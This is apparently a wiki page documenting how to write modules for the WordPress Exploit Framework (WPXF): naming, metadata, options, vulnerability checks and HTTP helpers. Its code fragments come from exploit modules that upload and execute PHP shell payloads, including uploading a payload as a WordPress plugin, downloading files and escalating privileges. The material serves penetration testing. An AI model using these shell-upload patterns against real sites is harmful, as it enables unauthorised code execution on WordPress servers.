-
-
Notifications
You must be signed in to change notification settings - Fork 263
Introduction to writing modules
A module needs to be placed in either the auxiliary or exploit namespace. If your module does not support or require a payload to be used (i.e. executing of arbitrary PHP code on the remote system), then your module should be considered an auxiliary module.
To declare your module in the auxiliary namespace, simply prefix the class name with Wpxf::Auxiliary
:
class Wpxf::Auxiliary::YourModuleName < Wpxf::Module
end
Examples of auxiliary modules are:
- Modules which use SQL injection vulnerabilities to extract information from the target
- Modules which allow for files to be downloaded from the target
- Modules which provide directory listing disclosures on the target system
- Modules which escalate privileges on the target system
Alternatively, if your module does need to utilize a payload, it can be declared as an exploit as below:
class Wpxf::Exploit::YourModuleName < Wpxf::Module
end
There are a few naming conventions that need to be adhered to in order for modules to work as intended; these are:
- Class names need to use proper casing
- File names should mirror the class names, substituting proper casing for underscore casing
If the module name was YourModuleName
our file would be named your_module_name.rb
. In the event an acronym is being used in your module name, you should only capitalize the first letter. An example of this can be seen in the exploit/photo_album_plus_xss_shell_upload module. The acronym "XSS" is being used in the class name, but is written as "Xss" as otherwise the file name would have to read photo_album_plus_x_s_s_shell_upload.rb
as it would be assumed each new capital letter would be a new word.
In the initialize
method of your module, the first thing that should be done (after calling super
) is to register the module information. This will be used to serve information about your module when the user executes the info
command and will also appear in search results.
As can be seen in the code extract below, taken from the auxiliary/long_password_dos module, we can use the update_info
method to specify a hash of data that defines the module.
update_info(
name: 'Long Password DoS',
desc: 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, '\
'and 4.x before 4.0.1 allows remote attackers to cause a denial '\
'of service via a long password that is improperly handled during '\
'hashing.',
author: [
'Javier Nieto Arevalo', # Vulnerability disclosure
'Andres Rojas Guerrero', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # WPXF module
],
references: [
['CVE', '2014-9034'],
['OSVDB', '114857'],
['WPVDB', '7681'],
['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034']
],
date: 'Nov 20 2014'
)
The keys available to the update_info
method are as follows:
Name | Description | Required? |
---|---|---|
name | The name of the module | Yes |
desc | The description of the module | Yes |
author | An array of author names | Yes |
references | An array of reference arrays | No |
date | The date the vulnerability that the module uses was disclosed | Yes |
When specifying the references, the first element in each reference array is the type identifier and the second element is the reference identifier, or the URL if using the URL reference type. All supported reference types are as follows:
Key | Description |
---|---|
CVE | A CVE-ID reference |
EDB | An Exploit DB reference |
OSVDB | An OSVDB reference |
URL | A URL with relevant information (such as initial public disclosure) |
WPVDB | A WPScan Vulnerability Database reference |
To allow users to configure the module you need to register and use options in the module. In the exploit/admin_shell_upload module, two options are registered that allow the user to configure the username and password to use during authentication.
register_options([
StringOption.new(
name: 'username',
desc: 'The WordPress username to authenticate with',
required: true
),
StringOption.new(
name: 'password',
desc: 'The WordPress password to authenticate with',
required: true
)
])
For a full list of available keys that can be specified for an option, have a look at the documentation for the initialize
method for the appropriate option class.
To access the value that the user has specified, you can use get_option_value, normalized_option_value or access the raw value entered directly using the datastore
attribute.
If we had a boolean option called "test", these three methods of accessing its value would appear as follows if the option was set to 1 by the user using set test 1
:
puts get_option_value('test') # Outputs 1
puts normalized_option_value('test') # Outputs true
puts datastore['test'] # Outputs 1
The option classes available are:
In most cases, there are non-intrusive checks we can perform to determine whether or not the target is vulnerable to the module we're writing. If this is the case, you should implement the check method.
The return value of check
indicates to WPXF whether or not the module is vulnerable and accepts the following values:
Return Value | Description |
---|---|
:safe | The target is not vulnerable to this module |
:vulnerable | The target appears to be vulnerable to this module |
:unknown | A status could not be determined for the target |
Usually, a target's vulnerability status can be determined by doing some basic fingerprinting. To aid with this, a number of helper methods can be found in the Wpxf::WordPress::Fingerprint mixin.
All the code used to run the module should be placed in the run
method. This method returns true if the module was executed successfully or false if anything went wrong.
The first line of the method should be a call to super
, which will verify that the target is running WordPress and is online or return false. If you wanted to make a module that verifies the target is online and running WordPress and then outputs an arbitrary string to the console, you could implement like this:
def run
return false unless super # Verify that it's online or return false
emit_info 'Hello world!' # Output "Hello world!" to the console
true # Return true to indicate the module ran successfully
end
The Wpxf::Net::HttpClient mixin provides a variety of helper functions in order to make HTTP interaction easier. All of the methods provided to execute HTTP requests return a Wpxf::Net::HttpResponse which contains the response code
, body
, headers
, cookies
and a boolean indicating whether or not the request timed_out?
.
Below are some examples taken from existing modules that demonstrate how the various methods can be used.
res = download_file(
url: downloader_url,
method: :get,
params: { 'file_link' => remote_file },
local_filename: export_path
)
Example taken from auxiliary/recent_backups_arbitrary_file_download
res = execute_get_request(url: payload_url)
Example taken from exploit/admin_shell_upload
res = execute_post_request(
url: wordpress_url_admin_ajax,
params: { 'action' => 'import_data' },
body: { 'name' => name, 'code' => encoded_value },
cookie: cookie
)
Example taken from auxiliary/wplms_privilege_escalation
def payload_body_builder(payload_name)
builder = Utility::BodyBuilder.new
builder.add_field('elementCode', 'ajaxUpload')
builder.add_file_from_string('wpshop_file', payload.encoded, payload_name)
builder
end
builder = payload_body_builder(payload_name)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: uploader_url, body: body)
end
Example taken from exploit/wpshop_shell_upload
In the context of an exploit module, you will have access to the payload
object, which is an instance of Wpxf::Payload. This object allows you to access the encoded
payload and the payload in its raw
form. In most cases, the method you'll want to use is encoded
.
Included in WPXF is a helper method for uploading the selected payload as a WordPress plugin, for instances where you are able to acquire a valid WordPress admin session.
Below is an example taken from exploit/admin_shell_upload which demonstrates how to do this:
cookie = authenticate_with_wordpress(username, password)
return false unless cookie
emit_info 'Uploading payload...'
plugin_name = Utility::Text.rand_alpha(10)
payload_name = Utility::Text.rand_alpha(10)
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
emit_error 'Failed to upload the payload'
return false
end
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
emit_info "Executing the payload at #{payload_url}..."
res = execute_get_request(url: payload_url)
You are encouraged to use the emit_*
methods wherever possible to output information to the screen as this allows for a consistent output style to be maintained, however, falling back to puts
, print
etc. may be required in some instances and within reason is acceptable.
Documentation for all the emit_*
methods can be found in the documentation here: http://www.getwpxf.com/doc/Wpxf/OutputEmitters.html
For more information about the WPXF API, take a look at the documentation at http://www.getwpxf.com/doc/index.html